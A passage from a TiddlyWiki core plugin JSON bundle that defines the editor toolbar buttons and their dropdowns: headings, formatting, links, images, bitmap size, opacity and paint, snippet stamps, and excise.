tiddler=\"\"\"$config-title$/macro-title\"\"\" default=\"translink\"/>\n</$reveal>\n\n<$button>\n<$action-sendmessage\n\t$message=\"tm-edit-text-operation\"\n\t$param=\"excise\"\n\ttitle={{$config-title$/new-title}}\n\ttype={{$config-title$/type}}\n\tmacro={{$config-title$/macro-title}}\n\ttagnew={{$config-title$/tagnew}}\n/>\n<$action-deletetiddler\n\t$tiddler=\"$config-title$/new-title\"\n/>\n<$action-deletetiddler\n\t$tiddler=<<dropdown-state>>\n/>\n<<lingo Caption/Excise>>\n</$button>\n\\end\n\n<$macrocall $name=\"body\" config-title=<<qualify \"$:/state/Excise/\">>/>\n"
        },
        "$:/core/ui/EditorToolbar/excise": {
            "title": "$:/core/ui/EditorToolbar/excise",
            "tags": "$:/tags/EditorToolbar",
            "icon": "$:/core/images/excise",
            "caption": "{{$:/language/Buttons/Excise/Caption}}",
            "description": "{{$:/language/Buttons/Excise/Hint}}",
            "condition": "[<targetTiddler>type[]] [<targetTiddler>type[text/vnd.tiddlywiki]] +[first[]]",
            "shortcuts": "((excise))",
            "dropdown": "$:/core/ui/EditorToolbar/excise-dropdown",
            "text": ""
        },
        "$:/core/ui/EditorToolbar/heading-1": {
            "title": "$:/core/ui/EditorToolbar/heading-1",
            "tags": "$:/tags/EditorToolbar",
            "icon": "$:/core/images/heading-1",
            "caption": "{{$:/language/Buttons/Heading1/Caption}}",
            "description": "{{$:/language/Buttons/Heading1/Hint}}",
            "condition": "[<targetTiddler>!has[type]] [<targetTiddler>type[text/vnd.tiddlywiki]]",
            "button-classes": "tc-text-editor-toolbar-item-start-group",
            "shortcuts": "((heading-1))",
            "text": "<$action-sendmessage\n\t$message=\"tm-edit-text-operation\"\n\t$param=\"prefix-lines\"\n\tcharacter=\"!\"\n\tcount=\"1\"\n/>\n"
        },
        "$:/core/ui/EditorToolbar/heading-2": {
            "title": "$:/core/ui/EditorToolbar/heading-2",
            "tags": "$:/tags/EditorToolbar",
            "icon": "$:/core/images/heading-2",
            "caption": "{{$:/language/Buttons/Heading2/Caption}}",
            "description": "{{$:/language/Buttons/Heading2/Hint}}",
            "condition": "[<targetTiddler>!has[type]] [<targetTiddler>type[text/vnd.tiddlywiki]]",
            "shortcuts": "((heading-2))",
            "text": "<$action-sendmessage\n\t$message=\"tm-edit-text-operation\"\n\t$param=\"prefix-lines\"\n\tcharacter=\"!\"\n\tcount=\"2\"\n/>\n"
        },
        "$:/core/ui/EditorToolbar/heading-3": {
            "title": "$:/core/ui/EditorToolbar/heading-3",
            "tags": "$:/tags/EditorToolbar",
            "icon": "$:/core/images/heading-3",
            "caption": "{{$:/language/Buttons/Heading3/Caption}}",
            "description": "{{$:/language/Buttons/Heading3/Hint}}",
            "condition": "[<targetTiddler>!has[type]] [<targetTiddler>type[text/vnd.tiddlywiki]]",
            "shortcuts": "((heading-3))",
            "text": "<$action-sendmessage\n\t$message=\"tm-edit-text-operation\"\n\t$param=\"prefix-lines\"\n\tcharacter=\"!\"\n\tcount=\"3\"\n/>\n"
        },
        "$:/core/ui/EditorToolbar/heading-4": {
            "title": "$:/core/ui/EditorToolbar/heading-4",
            "tags": "$:/tags/EditorToolbar",
            "icon": "$:/core/images/heading-4",
            "caption": "{{$:/language/Buttons/Heading4/Caption}}",
            "description": "{{$:/language/Buttons/Heading4/Hint}}",
            "condition": "[<targetTiddler>!has[type]] [<targetTiddler>type[text/vnd.tiddlywiki]]",
            "shortcuts": "((heading-4))",
            "text": "<$action-sendmessage\n\t$message=\"tm-edit-text-operation\"\n\t$param=\"prefix-lines\"\n\tcharacter=\"!\"\n\tcount=\"4\"\n/>\n"
        },
        "$:/core/ui/EditorToolbar/heading-5": {
            "title": "$:/core/ui/EditorToolbar/heading-5",
            "tags": "$:/tags/EditorToolbar",
            "icon": "$:/core/images/heading-5",
            "caption": "{{$:/language/Buttons/Heading5/Caption}}",
            "description": "{{$:/language/Buttons/Heading5/Hint}}",
            "condition": "[<targetTiddler>!has[type]] [<targetTiddler>type[text/vnd.tiddlywiki]]",
            "shortcuts": "((heading-5))",
            "text": "<$action-sendmessage\n\t$message=\"tm-edit-text-operation\"\n\t$param=\"prefix-lines\"\n\tcharacter=\"!\"\n\tcount=\"5\"\n/>\n"
        },
        "$:/core/ui/EditorToolbar/heading-6": {
            "title": "$:/core/ui/EditorToolbar/heading-6",
            "tags": "$:/tags/EditorToolbar",
            "icon": "$:/core/images/heading-6",
            "caption": "{{$:/language/Buttons/Heading6/Caption}}",
            "description": "{{$:/language/Buttons/Heading6/Hint}}",
            "condition": "[<targetTiddler>!has[type]] [<targetTiddler>type[text/vnd.tiddlywiki]]",
            "shortcuts": "((heading-6))",
            "text": "<$action-sendmessage\n\t$message=\"tm-edit-text-operation\"\n\t$param=\"prefix-lines\"\n\tcharacter=\"!\"\n\tcount=\"6\"\n/>\n"
        },
        "$:/core/ui/EditorToolbar/italic": {
            "title": "$:/core/ui/EditorToolbar/italic",
            "tags": "$:/tags/EditorToolbar",
            "icon": "$:/core/images/italic",
            "caption": "{{$:/language/Buttons/Italic/Caption}}",
            "description": "{{$:/language/Buttons/Italic/Hint}}",
            "condition": "[<targetTiddler>!has[type]] [<targetTiddler>type[text/vnd.tiddlywiki]]",
            "shortcuts": "((italic))",
            "text": "<$action-sendmessage\n\t$message=\"tm-edit-text-operation\"\n\t$param=\"wrap-selection\"\n\tprefix=\"//\"\n\tsuffix=\"//\"\n/>\n"
        },
        "$:/core/ui/EditorToolbar/line-width-dropdown": {
            "title": "$:/core/ui/EditorToolbar/line-width-dropdown",
            "text": "\\define lingo-base() $:/language/Buttons/LineWidth/\n\n\\define toolbar-line-width-inner()\n<$button tag=\"a\" tooltip=\"\"\"$(line-width)$\"\"\">\n\n<$action-setfield\n\t$tiddler=\"$:/config/BitmapEditor/LineWidth\"\n\t$value=\"$(line-width)$\"\n/>\n\n<$action-deletetiddler\n\t$tiddler=<<dropdown-state>>\n/>\n\n<div style=\"display: inline-block; margin: 4px calc(80px - $(line-width)$); background-color: #000; width: calc(100px + $(line-width)$ * 2); height: $(line-width)$; border-radius: 120px; vertical-align: middle;\"/>\n\n<span style=\"margin-left: 8px;\">\n\n<$text text=\"\"\"$(line-width)$\"\"\"/>\n\n<$reveal state=\"$:/config/BitmapEditor/LineWidth\" type=\"match\" text=\"\"\"$(line-width)$\"\"\" tag=\"span\">\n\n<$entity entity=\"&nbsp;\"/>\n\n<$entity entity=\"&#x2713;\"/>\n\n</$reveal>\n\n</span>\n\n</$button>\n\\end\n\n''<<lingo Hint>>''\n\n<$list filter={{$:/config/BitmapEditor/LineWidths}} variable=\"line-width\">\n\n<<toolbar-line-width-inner>>\n\n</$list>\n"
        },
        "$:/core/ui/EditorToolbar/line-width": {
            "title": "$:/core/ui/EditorToolbar/line-width",
            "tags": "$:/tags/EditorToolbar",
            "icon": "$:/core/images/line-width",
            "caption": "{{$:/language/Buttons/LineWidth/Caption}}",
            "description": "{{$:/language/Buttons/LineWidth/Hint}}",
            "condition": "[<targetTiddler>is[image]]",
            "dropdown": "$:/core/ui/EditorToolbar/line-width-dropdown",
            "text": "<$text text={{$:/config/BitmapEditor/LineWidth}}/>"
        },
        "$:/core/ui/EditorToolbar/link-dropdown": {
            "title": "$:/core/ui/EditorToolbar/link-dropdown",
            "text": "\\define lingo-base() $:/language/Buttons/Link/\n\n\\define add-link-actions()\n<$action-sendmessage $message=\"tm-edit-text-operation\" $param=\"make-link\" text={{$(linkTiddler)$}} />\n<$action-deletetiddler $tiddler=<<dropdown-state>> />\n<$action-deletetiddler $tiddler=<<searchTiddler>> />\n<$action-deletetiddler $tiddler=<<linkTiddler>> />\n\\end\n\n\\define external-link()\n<$button class=\"tc-btn-invisible\" style=\"width: auto; display: inline-block; background-colour: inherit;\" actions=<<add-link-actions>>>\n{{$:/core/images/chevron-right}}\n</$button>\n\\end\n\n\\define body(config-title)\n''<<lingo Hint>>''\n\n<$vars searchTiddler=\"\"\"$config-title$/search\"\"\" linkTiddler=\"\"\"$config-title$/link\"\"\" linktext=\"\" >\n\n<$vars linkTiddler=<<searchTiddler>>>\n<$keyboard key=\"ENTER\" actions=<<add-link-actions>>>\n<$edit-text tiddler=<<searchTiddler>> type=\"search\" tag=\"input\" focus=\"true\" placeholder={{$:/language/Search/Search}} default=\"\"/>\n<$reveal tag=\"span\" state=<<searchTiddler>> type=\"nomatch\" text=\"\">\n<<external-link>>\n<$button class=\"tc-btn-invisible\" style=\"width: auto; display: inline-block; background-colour: inherit;\">\n<$action-setfield $tiddler=<<searchTiddler>> text=\"\" />\n{{$:/core/images/close-button}}\n</$button>\n</$reveal>\n</$keyboard>\n</$vars>\n\n<$reveal tag=\"div\" state=<<searchTiddler>> type=\"nomatch\" text=\"\">\n\n<$linkcatcher actions=<<add-link-actions>> to=<<linkTiddler>>>\n\n{{$:/core/ui/SearchResults}}\n\n</$linkcatcher>\n\n</$reveal>\n\n</$vars>\n\n\\end\n\n<$macrocall $name=\"body\" config-title=<<qualify \"$:/state/Link/\">>/>"
        },
        "$:/core/ui/EditorToolbar/link": {
            "title": "$:/core/ui/EditorToolbar/link",
            "tags": "$:/tags/EditorToolbar",
            "icon": "$:/core/images/link",
            "caption": "{{$:/language/Buttons/Link/Caption}}",
            "description": "{{$:/language/Buttons/Link/Hint}}",
            "condition": "[<targetTiddler>!has[type]] [<targetTiddler>type[text/vnd.tiddlywiki]]",
            "button-classes": "tc-text-editor-toolbar-item-start-group",
            "shortcuts": "((link))",
            "dropdown": "$:/core/ui/EditorToolbar/link-dropdown",
            "text": ""
        },
        "$:/core/ui/EditorToolbar/linkify": {
            "title": "$:/core/ui/EditorToolbar/linkify",
            "caption": "{{$:/language/Buttons/Linkify/Caption}}",
            "condition": "[<targetTiddler>!has[type]] [<targetTiddler>type[text/vnd.tiddlywiki]]",
            "description": "{{$:/language/Buttons/Linkify/Hint}}",
            "icon": "$:/core/images/linkify",
            "list-before": "$:/core/ui/EditorToolbar/mono-block",
            "shortcuts": "((linkify))",
            "tags": "$:/tags/EditorToolbar",
            "text": "<$action-sendmessage\n\t$message=\"tm-edit-text-operation\"\n\t$param=\"wrap-selection\"\n\tprefix=\"[[\"\n\tsuffix=\"]]\"\n/>\n"
        },
        "$:/core/ui/EditorToolbar/list-bullet": {
            "title": "$:/core/ui/EditorToolbar/list-bullet",
            "tags": "$:/tags/EditorToolbar",
            "icon": "$:/core/images/list-bullet",
            "caption": "{{$:/language/Buttons/ListBullet/Caption}}",
            "description": "{{$:/language/Buttons/ListBullet/Hint}}",
            "condition": "[<targetTiddler>!has[type]] [<targetTiddler>type[text/vnd.tiddlywiki]]",
            "shortcuts": "((list-bullet))",
            "text": "<$action-sendmessage\n\t$message=\"tm-edit-text-operation\"\n\t$param=\"prefix-lines\"\n\tcharacter=\"*\"\n\tcount=\"1\"\n/>\n"
        },
        "$:/core/ui/EditorToolbar/list-number": {
            "title": "$:/core/ui/EditorToolbar/list-number",
            "tags": "$:/tags/EditorToolbar",
            "icon": "$:/core/images/list-number",
            "caption": "{{$:/language/Buttons/ListNumber/Caption}}",
            "description": "{{$:/language/Buttons/ListNumber/Hint}}",
            "condition": "[<targetTiddler>!has[type]] [<targetTiddler>type[text/vnd.tiddlywiki]]",
            "shortcuts": "((list-number))",
            "text": "<$action-sendmessage\n\t$message=\"tm-edit-text-operation\"\n\t$param=\"prefix-lines\"\n\tcharacter=\"#\"\n\tcount=\"1\"\n/>\n"
        },
        "$:/core/ui/EditorToolbar/mono-block": {
            "title": "$:/core/ui/EditorToolbar/mono-block",
            "tags": "$:/tags/EditorToolbar",
            "icon": "$:/core/images/mono-block",
            "caption": "{{$:/language/Buttons/MonoBlock/Caption}}",
            "description": "{{$:/language/Buttons/MonoBlock/Hint}}",
            "condition": "[<targetTiddler>!has[type]] [<targetTiddler>type[text/vnd.tiddlywiki]]",
            "button-classes": "tc-text-editor-toolbar-item-start-group",
            "shortcuts": "((mono-block))",
            "text": "<$action-sendmessage\n\t$message=\"tm-edit-text-operation\"\n\t$param=\"wrap-lines\"\n\tprefix=\"\n```\"\n\tsuffix=\"```\"\n/>\n"
        },
        "$:/core/ui/EditorToolbar/mono-line": {
            "title": "$:/core/ui/EditorToolbar/mono-line",
            "tags": "$:/tags/EditorToolbar",
            "icon": "$:/core/images/mono-line",
            "caption": "{{$:/language/Buttons/MonoLine/Caption}}",
            "description": "{{$:/language/Buttons/MonoLine/Hint}}",
            "condition": "[<targetTiddler>!has[type]] [<targetTiddler>type[text/vnd.tiddlywiki]]",
            "shortcuts": "((mono-line))",
            "text": "<$action-sendmessage\n\t$message=\"tm-edit-text-operation\"\n\t$param=\"wrap-selection\"\n\tprefix=\"`\"\n\tsuffix=\"`\"\n/>\n"
        },
        "$:/core/ui/EditorToolbar/more-dropdown": {
            "title": "$:/core/ui/EditorToolbar/more-dropdown",
            "text": "\\define config-title()\n$:/config/EditorToolbarButtons/Visibility/$(toolbarItem)$\n\\end\n\n\\define conditional-button()\n<$list filter={{$(toolbarItem)$!!condition}} variable=\"condition\">\n<$transclude tiddler=\"$:/core/ui/EditTemplate/body/toolbar/button\" mode=\"inline\"/> <$transclude tiddler=<<toolbarItem>> field=\"description\"/>\n</$list>\n\\end\n\n<div class=\"tc-text-editor-toolbar-more\">\n<$list filter=\"[all[shadows+tiddlers]tag[$:/tags/EditorToolbar]!has[draft.of]] -[[$:/core/ui/EditorToolbar/more]]\">\n<$reveal type=\"match\" state=<<config-visibility-title>> text=\"hide\" tag=\"div\">\n<<conditional-button>>\n</$reveal>\n</$list>\n</div>\n"
        },
        "$:/core/ui/EditorToolbar/more": {
            "title": "$:/core/ui/EditorToolbar/more",
            "tags": "$:/tags/EditorToolbar",
            "icon": "$:/core/images/down-arrow",
            "caption": "{{$:/language/Buttons/More/Caption}}",
            "description": "{{$:/language/Buttons/More/Hint}}",
            "condition": "[<targetTiddler>]",
            "dropdown": "$:/core/ui/EditorToolbar/more-dropdown",
            "text": ""
        },
        "$:/core/ui/EditorToolbar/opacity-dropdown": {
            "title": "$:/core/ui/EditorToolbar/opacity-dropdown",
            "text": "\\define lingo-base() $:/language/Buttons/Opacity/\n\n\\define toolbar-opacity-inner()\n<$button tag=\"a\" tooltip=\"\"\"$(opacity)$\"\"\">\n\n<$action-setfield\n\t$tiddler=\"$:/config/BitmapEditor/Opacity\"\n\t$value=\"$(opacity)$\"\n/>\n\n<$action-deletetiddler\n\t$tiddler=<<dropdown-state>>\n/>\n\n<div style=\"display: inline-block; vertical-align: middle; background-color: $(current-paint-colour)$; opacity: $(opacity)$; width: 1em; height: 1em; border-radius: 50%;\"/>\n\n<span style=\"margin-left: 8px;\">\n\n<$text text=\"\"\"$(opacity)$\"\"\"/>\n\n<$reveal state=\"$:/config/BitmapEditor/Opacity\" type=\"match\" text=\"\"\"$(opacity)$\"\"\" tag=\"span\">\n\n<$entity entity=\"&nbsp;\"/>\n\n<$entity entity=\"&#x2713;\"/>\n\n</$reveal>\n\n</span>\n\n</$button>\n\\end\n\n\\define toolbar-opacity()\n''<<lingo Hint>>''\n\n<$list filter={{$:/config/BitmapEditor/Opacities}} variable=\"opacity\">\n\n<<toolbar-opacity-inner>>\n\n</$list>\n\\end\n\n<$set name=\"current-paint-colour\" value={{$:/config/BitmapEditor/Colour}}>\n\n<$set name=\"current-opacity\" value={{$:/config/BitmapEditor/Opacity}}>\n\n<<toolbar-opacity>>\n\n</$set>\n\n</$set>\n"
        },
        "$:/core/ui/EditorToolbar/opacity": {
            "title": "$:/core/ui/EditorToolbar/opacity",
            "tags": "$:/tags/EditorToolbar",
            "icon": "$:/core/images/opacity",
            "caption": "{{$:/language/Buttons/Opacity/Caption}}",
            "description": "{{$:/language/Buttons/Opacity/Hint}}",
            "condition": "[<targetTiddler>is[image]]",
            "dropdown": "$:/core/ui/EditorToolbar/opacity-dropdown",
            "text": "<$text text={{$:/config/BitmapEditor/Opacity}}/>\n"
        },
        "$:/core/ui/EditorToolbar/paint-dropdown": {
            "title": "$:/core/ui/EditorToolbar/paint-dropdown",
            "text": "''{{$:/language/Buttons/Paint/Hint}}''\n\n<$macrocall $name=\"colour-picker\" actions=\"\"\"\n\n<$action-setfield\n\t$tiddler=\"$:/config/BitmapEditor/Colour\"\n\t$value=<<colour-picker-value>>\n/>\n\n<$action-deletetiddler\n\t$tiddler=<<dropdown-state>>\n/>\n\n\"\"\"/>\n"
        },
        "$:/core/ui/EditorToolbar/paint": {
            "title": "$:/core/ui/EditorToolbar/paint",
            "tags": "$:/tags/EditorToolbar",
            "icon": "$:/core/images/paint",
            "caption": "{{$:/language/Buttons/Paint/Caption}}",
            "description": "{{$:/language/Buttons/Paint/Hint}}",
            "condition": "[<targetTiddler>is[image]]",
            "dropdown": "$:/core/ui/EditorToolbar/paint-dropdown",
            "text": "\\define toolbar-paint()\n<div style=\"display: inline-block; vertical-align: middle; background-color: $(colour-picker-value)$; width: 1em; height: 1em; border-radius: 50%;\"/>\n\\end\n<$set name=\"colour-picker-value\" value={{$:/config/BitmapEditor/Colour}}>\n<<toolbar-paint>>\n</$set>\n"
        },
        "$:/core/ui/EditorToolbar/picture-dropdown": {
            "title": "$:/core/ui/EditorToolbar/picture-dropdown",
            "text": "\\define replacement-text()\n[img[$(imageTitle)$]]\n\\end\n\n''{{$:/language/Buttons/Picture/Hint}}''\n\n<$macrocall $name=\"image-picker\" actions=\"\"\"\n\n<$action-sendmessage\n\t$message=\"tm-edit-text-operation\"\n\t$param=\"replace-selection\"\n\ttext=<<replacement-text>>\n/>\n\n<$action-deletetiddler\n\t$tiddler=<<dropdown-state>>\n/>\n\n\"\"\"/>\n"
        },
        "$:/core/ui/EditorToolbar/picture": {
            "title": "$:/core/ui/EditorToolbar/picture",
            "tags": "$:/tags/EditorToolbar",
            "icon": "$:/core/images/picture",
            "caption": "{{$:/language/Buttons/Picture/Caption}}",
            "description": "{{$:/language/Buttons/Picture/Hint}}",
            "condition": "[<targetTiddler>!has[type]] [<targetTiddler>type[text/vnd.tiddlywiki]]",
            "shortcuts": "((picture))",
            "dropdown": "$:/core/ui/EditorToolbar/picture-dropdown",
            "text": ""
        },
        "$:/core/ui/EditorToolbar/preview-type-dropdown": {
            "title": "$:/core/ui/EditorToolbar/preview-type-dropdown",
            "text": "\\define preview-type-button()\n<$button tag=\"a\">\n\n<$action-setfield $tiddler=\"$:/state/editpreviewtype\" $value=\"$(previewType)$\"/>\n\n<$action-deletetiddler\n\t$tiddler=<<dropdown-state>>\n/>\n\n<$transclude tiddler=<<previewType>> field=\"caption\" mode=\"inline\">\n\n<$view tiddler=<<previewType>> field=\"title\" mode=\"inline\"/>\n\n</$transclude> \n\n<$reveal tag=\"span\" state=\"$:/state/editpreviewtype\" type=\"match\" text=<<previewType>> default=\"$:/core/ui/EditTemplate/body/preview/output\">\n\n<$entity entity=\"&nbsp;\"/>\n\n<$entity entity=\"&#x2713;\"/>\n\n</$reveal>\n\n</$button>\n\\end\n\n<$list filter=\"[all[shadows+tiddlers]tag[$:/tags/EditPreview]!has[draft.of]]\" variable=\"previewType\">\n\n<<preview-type-button>>\n\n</$list>\n"
        },
        "$:/core/ui/EditorToolbar/preview-type": {
            "title": "$:/core/ui/EditorToolbar/preview-type",
            "tags": "$:/tags/EditorToolbar",
            "icon": "$:/core/images/chevron-down",
            "caption": "{{$:/language/Buttons/PreviewType/Caption}}",
            "description": "{{$:/language/Buttons/PreviewType/Hint}}",
            "condition": "[all[shadows+tiddlers]tag[$:/tags/EditPreview]!has[draft.of]butfirst[]limit[1]]",
            "button-classes": "tc-text-editor-toolbar-item-adjunct",
            "dropdown": "$:/core/ui/EditorToolbar/preview-type-dropdown"
        },
        "$:/core/ui/EditorToolbar/preview": {
            "title": "$:/core/ui/EditorToolbar/preview",
            "tags": "$:/tags/EditorToolbar",
            "icon": "$:/core/images/preview-open",
            "custom-icon": "yes",
            "caption": "{{$:/language/Buttons/Preview/Caption}}",
            "description": "{{$:/language/Buttons/Preview/Hint}}",
            "condition": "[<targetTiddler>]",
            "button-classes": "tc-text-editor-toolbar-item-start-group",
            "shortcuts": "((preview))",
            "text": "<$reveal state=\"$:/state/showeditpreview\" type=\"match\" text=\"yes\" tag=\"span\">\n{{$:/core/images/preview-open}}\n<$action-setfield $tiddler=\"$:/state/showeditpreview\" $value=\"no\"/>\n</$reveal>\n<$reveal state=\"$:/state/showeditpreview\" type=\"nomatch\" text=\"yes\" tag=\"span\">\n{{$:/core/images/preview-closed}}\n<$action-setfield $tiddler=\"$:/state/showeditpreview\" $value=\"yes\"/>\n</$reveal>\n"
        },
        "$:/core/ui/EditorToolbar/quote": {
            "title": "$:/core/ui/EditorToolbar/quote",
            "tags": "$:/tags/EditorToolbar",
            "icon": "$:/core/images/quote",
            "caption": "{{$:/language/Buttons/Quote/Caption}}",
            "description": "{{$:/language/Buttons/Quote/Hint}}",
            "condition": "[<targetTiddler>!has[type]] [<targetTiddler>type[text/vnd.tiddlywiki]]",
            "shortcuts": "((quote))",
            "text": "<$action-sendmessage\n\t$message=\"tm-edit-text-operation\"\n\t$param=\"wrap-lines\"\n\tprefix=\"\n<<<\"\n\tsuffix=\"<<<\"\n/>\n"
        },
        "$:/core/ui/EditorToolbar/rotate-left": {
            "title": "$:/core/ui/EditorToolbar/rotate-left",
            "tags": "$:/tags/EditorToolbar",
            "icon": "$:/core/images/rotate-left",
            "caption": "{{$:/language/Buttons/RotateLeft/Caption}}",
            "description": "{{$:/language/Buttons/RotateLeft/Hint}}",
            "condition": "[<targetTiddler>is[image]]",
            "text": "<$action-sendmessage\n\t$message=\"tm-edit-bitmap-operation\"\n\t$param=\"rotate-left\"\n/>\n"
        },
        "$:/core/ui/EditorToolbar/size-dropdown": {
            "title": "$:/core/ui/EditorToolbar/size-dropdown",
            "text": "\\define lingo-base() $:/language/Buttons/Size/\n\n\\define toolbar-button-size-preset(config-title)\n<$set name=\"width\" filter=\"$(sizePair)$ +[first[]]\">\n\n<$set name=\"height\" filter=\"$(sizePair)$ +[last[]]\">\n\n<$button tag=\"a\">\n\n<$action-setfield\n\t$tiddler=\"\"\"$config-title$/new-width\"\"\"\n\t$value=<<width>>\n/>\n\n<$action-setfield\n\t$tiddler=\"\"\"$config-title$/new-height\"\"\"\n\t$value=<<height>>\n/>\n\n<$action-deletetiddler\n\t$tiddler=\"\"\"$config-title$/presets-popup\"\"\"\n/>\n\n<$text text=<<width>>/> &times; <$text text=<<height>>/>\n\n</$button>\n\n</$set>\n\n</$set>\n\\end\n\n\\define toolbar-button-size(config-title)\n''{{$:/language/Buttons/Size/Hint}}''\n\n<<lingo Caption/Width>> <$edit-text tag=\"input\" tiddler=\"\"\"$config-title$/new-width\"\"\" default=<<tv-bitmap-editor-width>> focus=\"true\" size=\"8\"/> <<lingo Caption/Height>> <$edit-text tag=\"input\" tiddler=\"\"\"$config-title$/new-height\"\"\" default=<<tv-bitmap-editor-height>> size=\"8\"/> <$button popup=\"\"\"$config-title$/presets-popup\"\"\" class=\"tc-btn-invisible tc-popup-keep\" style=\"width: auto; display: inline-block; background-colour: inherit;\" selectedClass=\"tc-selected\">\n{{$:/core/images/down-arrow}}\n</$button>\n\n<$reveal tag=\"span\" state=\"\"\"$config-title$/presets-popup\"\"\" type=\"popup\" position=\"belowleft\" animate=\"yes\">\n\n<div class=\"tc-drop-down tc-popup-keep\">\n\n<$list filter={{$:/config/BitmapEditor/ImageSizes}} variable=\"sizePair\">\n\n<$macrocall $name=\"toolbar-button-size-preset\" config-title=\"$config-title$\"/>\n\n</$list>\n\n</div>\n\n</$reveal>\n\n<$button>\n<$action-sendmessage\n\t$message=\"tm-edit-bitmap-operation\"\n\t$param=\"resize\"\n\twidth={{$config-title$/new-width}}\n\theight={{$config-title$/new-height}}\n/>\n<$action-deletetiddler\n\t$tiddler=\"\"\"$config-title$/new-width\"\"\"\n/>\n<$action-deletetiddler\n\t$tiddler=\"\"\"$config-title$/new-height\"\"\"\n/>\n<$action-deletetiddler\n\t$tiddler=<<dropdown-state>>\n/>\n<<lingo Caption/Resize>>\n</$button>\n\\end\n\n<$macrocall $name=\"toolbar-button-size\" config-title=<<qualify \"$:/state/Size/\">>/>\n"
        },
        "$:/core/ui/EditorToolbar/size": {
            "title": "$:/core/ui/EditorToolbar/size",
            "tags": "$:/tags/EditorToolbar",
            "icon": "$:/core/images/size",
            "caption": "{{$:/language/Buttons/Size/Caption}}",
            "description": "{{$:/language/Buttons/Size/Hint}}",
            "condition": "[<targetTiddler>is[image]]",
            "dropdown": "$:/core/ui/EditorToolbar/size-dropdown",
            "text": ""
        },
        "$:/core/ui/EditorToolbar/stamp-dropdown": {
            "title": "$:/core/ui/EditorToolbar/stamp-dropdown",
            "text": "\\define toolbar-button-stamp-inner()\n<$button tag=\"a\">\n\n<$action-sendmessage\n\t$message=\"tm-edit-text-operation\"\n\t$param=\"replace-selection\"\n\ttext={{$(snippetTitle)$}}\n/>\n\n<$action-deletetiddler\n\t$tiddler=<<dropdown-state>>\n/>\n\n<$view tiddler=<<snippetTitle>> field=\"caption\" mode=\"inline\">\n\n<$view tiddler=<<snippetTitle>> field=\"title\" mode=\"inline\"/>\n\n</$view>\n\n</$button>\n\\end\n\n<$list filter=\"[all[shadows+tiddlers]tag[$:/tags/TextEditor/Snippet]!has[draft.of]sort[caption]]\" variable=\"snippetTitle\">\n\n<<toolbar-button-stamp-inner>>\n\n</$list>\n\n----\n\n<$button tag=\"a\">\n\n<$action-sendmessage\n\t$message=\"tm-new-tiddler\"\n\ttags=\"$:/tags/TextEditor/Snippet\"\n\tcaption={{$:/language/Buttons/Stamp/New/Title}}\n\ttext={{$:/language/Buttons/Stamp/New/Text}}\n/>\n\n<$action-deletetiddler\n\t$tiddler=<<dropdown-state>>\n/>\n\n<em>\n\n<$text text={{$:/language/Buttons/Stamp/Caption/New}}/>\n\n</em>\n\n</$button>\n"
        },
        "$:/core/ui/EditorToolbar/stamp": {
            "title": "$:/core/ui/EditorToolbar/stamp",
            "tags": "$:/tags/EditorToolbar",
            "icon": "$:/core/images/stamp",
            "caption": "{{$:/language/Buttons/Stamp/Caption}}",
            "description": "{{$:/language/Buttons/Stamp/Hint}}",
            "condition": "[<targetTiddler>type[]] [<targetTiddler>get[type]prefix[text/]] +[first[]]",
            "shortcuts": "((stamp))",
            "dropdown": "$:/core/ui/EditorToolbar/stamp-dropdown",
            "text": ""
        },
        "$:/core/ui/EditorToolbar/strikethrough": {
            "title": "$:/core/ui/EditorToolbar/strikethrough",
            "tags": "$:/tags/EditorToolbar",
            "icon": "$:/core/images/strikethrough",
            "caption": "{{$:/language/Buttons/Strikethrough/Caption}}",
            "description": "{{$:/language/Buttons/Strikethrough/Hint}}",
            "condition": "[<targetTiddler>!has[type]] [<targetTiddler>type[text/vnd.tiddlywiki]]",
            "shortcuts": "((strikethrough))",
            "text": "<$action-sendmessage\n\t$message=\"tm-edit-text-operation\"\n\t$param=\"wrap-selection\"\n\tprefix=\"~~\"\n\tsuffix=\"~~\"\n/>\n"
        },
        "$:/core/ui/EditorToolbar/subscript": {
            "title": "$:/core/ui/EditorToolbar/subscript",
            "tags": "$:/tags/EditorToolbar",
            "icon": "$:/core/images/subscript",
            "caption": "{{$:/language/Buttons/Subscript/Caption}}",
            "description": "{{$:/language/Buttons/Subscript/Hint}}",
            "condition": "[<targetTiddler>!has[type]] [<targetTiddler>type[text/vnd.tiddlywiki]]",
            "shortcuts": "((subscript))",
            "text": "<$action-sendmessage\n\t$message=\"tm-edit-text-operation\"\n\t$param=\"wrap-selection\"\n\tprefix=\",,\"\n\tsuffix=\",,\"\n/>\n"
        },
        "$:/core/ui/EditorToolbar/superscript": {
            "title": "$:/core/ui/EditorToolbar/superscript",
            "tags": "$:/tags/EditorToolbar",
            "icon": "$:/core/images/superscript",
            "caption": "{{$:/language/Buttons/Superscript/Caption}}",
            "description": "{{$:/language/Buttons/Superscript/Hint}}",
            "condition": "[<targetTiddler>!has[type]] [<targetTiddler>type[text/vnd.tiddlywiki]]",
            "shortcuts": "((superscript))",
            "text": "<$action-sendmessage\n\t$message=\"tm-edit-text-operation\"\n\t$param=\"wrap-selection\"\n\tprefix=\"^^\"\n\tsuffix=\"^^\"\n/>\n"
        },
        "$:/core/ui/EditorToolbar/transcludify": {
            "title": "$:/core/ui/EditorToolbar/transcludify",
            "caption": "{{$:/language/Buttons/Transcludify/Caption}}",
            "condition": "[<targetTiddler>!has[type]] [<targetTiddler>type[text/vnd.tiddlywiki]]",
            "description": "{{$:/language/Buttons/Transcludify/Hint}}",
            "icon": "$:/core/images/transcludify",
            "list-before": "$:/core/ui/EditorToolbar/mono-block",
            "shortcuts": "((transcludify))",
            "tags": "$:/tags/EditorToolbar",
            "text": "<$action-sendmessage\n\t$message=\"tm-edit-text-operation\"\n\t$param=\"wrap-selection\"\n\tprefix=\"{{\"\n\tsuffix=\"}}\"\n/>\n"
        },
        "$:/core/ui/EditorToolbar/underline": {
            "title": "$:/core/ui/EditorToolbar/underline",
            "tags": "$:/tags/EditorToolbar",
            "icon": "$:/core/images/underline",
            "caption": "{{$:/language/Buttons/Underline/Caption}}",
            "description": "{{$:/language/Buttons/Underline/Hint}}",
            "condition": "[<targetTiddler>!has[type]] [<targetTiddler>type[text/vnd.tiddlywiki]]",
            "shortcuts": "((underline))",
            "text": "<$action-sendmessage\n\t$message=\"tm-edit-text-operation\"\n\t$param=\"wrap-selection\"\n\tprefix=\"__\"\n\tsuffix=\"__\"\n/>\n"
        },
        "$:/core/Filters/AllTags": {
            "title": "$:/core/Filters/AllTags",
            "tags": "$:/tags/Filter",
            "filter": "[tags[]!is[system]sort[title]]",
            "description": "{{$:/language/Filters/AllTags}}",
            "text": ""
        },
